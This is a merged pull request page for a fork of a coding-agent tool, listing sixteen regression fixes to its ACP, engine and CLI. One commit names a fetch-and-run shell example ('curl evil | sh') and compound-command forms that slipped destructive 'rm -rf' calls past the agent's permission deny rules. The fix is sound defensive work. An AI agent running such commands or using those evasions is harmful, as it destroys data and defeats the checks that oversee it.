fix: 16 verified ACP + engine + CLI regressions (post 0.36.0 sync) - #48
Merged
Conversation
…ops tail records (MoonshotAI#2727) ContextModel dehydrates blobs asynchronously, so the tail content.part/turn.ended records can still be queued on WireService.persistQueue when session/close disposes the agent scope. Flush before dispose (adopting upstream PR MoonshotAI#2812's approach); session close now guarantees dispose and the close announcement via try/finally.
…oonshotAI#2878, MoonshotAI#2828) MoonshotAI#2878: internally-triggered turns (cron fire, background-task notifications) ran and persisted in the engine but streamed zero session/update notifications while no client prompt was in flight — every turn handler gated on the in-flight prompt driver. Forward internal-turn events as session/update notifications; the in-flight prompt's turn still settles its own driver. MoonshotAI#2828: currentModeId was hardcoded 'default' and never read engine permission/plan state, so ACP reported default mode while the engine ran auto/yolo (and restored persisted modes). Seed currentModeId at init from the live engine permission mode + plan state via the composition root (the klient facade exposes no permission getter).
…d streams (MoonshotAI#2613, MoonshotAI#2762) MoonshotAI#2613: a Kimi 401 'supports only N context' was born as provider.auth_error — never matching the context-overflow gate (400/413/422), forcing a pointless OAuth refresh+replay, and surfacing to ACP clients as -32000 'Authentication required'. Classify message-matched 401s as context overflow in both engines, skip the refresh for overflow errors, and preserve the provider message to the ACP wire (internalError instead of bare authRequired). MoonshotAI#2762: the model-request path had no streaming idle timeout — a provider stream that silently stalled blocked session/prompt forever with partials never persisted. Add a shared stream stall watchdog at the kosong stream-iteration layer (KIMI_CODE_STREAM_STALL_TIMEOUT_MS, default 300s, 0 disables) that cancels the stream via the existing abort path so the loop persists the partial content and ends the turn as cancelled.
…race cannot kill the turn (MoonshotAI#2720) With a compaction trigger below the 0.85 block floor, beforeStep started auto compaction without blocking, so the loop ran steps concurrently with the in-flight compaction; appended assistant exchanges made historySafeToCompact fail at commit, the compaction was cancelled, and the AbortError propagated into the blocked turn (its own signal was never aborted), ending it as 'cancelled' with 'This operation was aborted'. Now beforeStep blocks whenever a compaction is in flight, soft auto compaction defers after tool-continuation steps, and block() swallows the compaction's own abort when the turn signal is healthy — the next step head re-triggers on the current context. Manual-compaction quiescence is untouched.
…and cross slashes in glob subjects (MoonshotAI#2756, MoonshotAI#2728) MoonshotAI#2756: Bash permission rules matched the entire compound command string as one glob subject — 'git *' over-granted 'git log && curl evil | sh' and 'rm -rf *' deny was bypassed by '(cd build && rm -rf *)' / '{ rm -rf build; }' / 'DEBUG=1 rm -rf build'. Decompose the command with the tree-sitter-bash parser and evaluate the rule per executable unit (allow must match a sub-command; deny fires on any match); parse failures fail closed for allow. Applies to both engines. MoonshotAI#2728: rule glob subjects used picomatch path semantics, so '*' never crossed '/' for command/URL/search subjects. Non-path subjects now match as opaque text (slash-crossing) while Read/Write/Edit path subjects keep path semantics. Applies to both engines.
…t in the auth gate (MoonshotAI#2745) The -p auth gate passed an empty env bag (args.provider?.env ?? {}) to explainProviderEndpoint, overriding the process.env default, so an env-supplied provider key was rejected with 'provider X has no credential configured' while the request adapters read process.env directly. The gate now falls back to the provider's declared apiKeyEnv from process.env in a two-stage resolution (inline/env-bag first, ambient second), preserving multi-key chain precedence and not invalidating oauth-configured providers.
… a config change (MoonshotAI#2779) The external-hooks runner built its event->hooks index once at construction and only re-read config on plugin reload, so a [[hooks]] section landing after the runner was built (the interactive TUI loads config.toml after app-scope construction) was permanently invisible: every trigger a silent no-op and the heartbeat never armed. Subscribe to onDidChangeConfiguration, coalesce bursts, and let a trigger landing right after a change await the fresh index.
… selector is callable (MoonshotAI#2381) The builtin agent profile allowlist contains mcp__* but not select_tools, so isToolActive rejected the SelectToolsTool contribution and it never reached the tool registry — while the disclosure announce path told the model to call it. Extend the existing disclosure carve-out to activation: select_tools is always registered (allowlist ignored) while the workspace veto, explicit disallowedTools opt-out, and the when predicate still gate it.
…nd reload on session re-select (MoonshotAI#2835) The TUI rendered a transcript seeded once at attach and never re-read the append-only wire journal, so turns written by another process (ACP/mobile) were invisible, /sessions re-select short-circuited with 'Already on this session.', and continued typing forked the conversation into two divergent histories. Now: a wire-staleness check (newest turn.prompt boundary timestamp, backward-window scan) blocks input with a warning when the journal advanced beyond the last-rendered tip; the tip refreshes on turn end; re-selecting the current session reloads + re-hydrates from the fresh journal instead of short-circuiting; /reload re-hydrates too.
… failure (MoonshotAI#2629) Non-TTY invocations took the manual-message branch (which always exited 0) whenever the session was non-interactive, so automation could not detect the no-op. Now a non-TTY run with an auto-install-capable source runs the foreground install (exit 0 on success, 1 on failure); an unsupported source prints the manual message to stderr and exits 1. The interactive path is unchanged; install logic extracted into a shared runForegroundInstall.
…onshotAI#2658) The submit route accepted plan_mode in the body schema but never consumed it, so a first prompt with plan_mode: true enqueued the turn with the agent's plan state inactive and the session never entered plan mode. The route now applies enter/exit-if-different via IAgentPlanService before enqueueing, mirroring the session-profile route's idempotency guard.
… through session create (MoonshotAI#2765, MoonshotAI#2767) MoonshotAI#2765: doCreateSession dropped agentProfile/agentFiles and materializeMainAgent unconditionally bound the default profile, so an interactive session never applied the profile's tools/disallowedTools. Session create now resolves the startup profile (agentProfile name, else agentFiles[0] frontmatter) and binds it. MoonshotAI#2767: the TUI resolved only the profile name and the v2 explicit-agent-profile loader never saw --agent-file. KimiHarnessOptions/SDKRpcClientV2Options now carry agentFiles into the engine bootstrap args, and run-shell forwards them.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Sixteen regression fixes verified against the synced 0.36.0 tree (each issue triaged against the code, then adversarially refuted; only REAL bugs fixed — no enhancements). Nine adapt reviewed upstream community PRs; seven are written from scratch. One commit per issue;
fork/PATCHES.mdtracks all rows with upstream links; changesets name the upstream packages so the fixes stay upstream-submittable.ACP
session/updatenotifications even with no client prompt in flightcurrentModeIdis seeded from the engine's live permission/plan state (init, load, resume) instead of a hardcodeddefaultKIMI_CODE_STREAM_STALL_TIMEOUT_MS, default 300s): a stalled provider stream aborts like a cancel and persists the partial contentEngine
*never crosses/MoonshotAI/kimi-code#2728 — permission-rule glob subjects match as opaque text so*crosses/; path subjects keep path semantics (adapts fix: match permission rule glob subjects as opaque text MoonshotAI/kimi-code#2747, both engines)-prefuses to start with an env-supplied provider key that the same version accepts inline ("provider X has no credential configured") — regressed in 0.33.0 MoonshotAI/kimi-code#2745 — the-pauth gate falls back toprocess.envvia the provider's declaredapiKeyEnv(adapts fix(agent-core-v2): resolve provider credentials from process env in the auth gate MoonshotAI/kimi-code#2746)[[hooks]]fire and the heartbeat arms (adapts fix(agent-core-v2): rebuild hook index on config change so late [[hooks]] fire MoonshotAI/kimi-code#2822)select_toolsis always registered under an allowlist-bound profile so the announced MCP selector is callableCLI / SDK / server
kimi upgraderuns the auto-install (or exits non-zero when unsupported) instead of silently exiting 0plan_modeenter/exit-if-different so a new web session's first message enters plan mode (adapts fix(kap-server): apply plan mode from prompt submissions MoonshotAI/kimi-code#2869)--agent/--agent-fileprofile and threadsagentFilesthrough the harness (adapts fix(node-sdk): bind --agent/--agent-file profile on interactive session create (v2) MoonshotAI/kimi-code#2832 + fix(kimi-code): honor --agent-file and --agent at TUI launch MoonshotAI/kimi-code#2770)Validation
pnpm testunder the supported Node 24: 18777 passed / 1 known acp-server socket SIGINT timing flake (passes in isolation; unrelated to these fixes)kimi acp --socketinitialize + SIGINT teardown verified against the real binary;dist-webuntouched--experimental-transform-types(used by the search-worker dev host) — pre-existing environment incompatibility, all pass under Node 24 per.nvmrc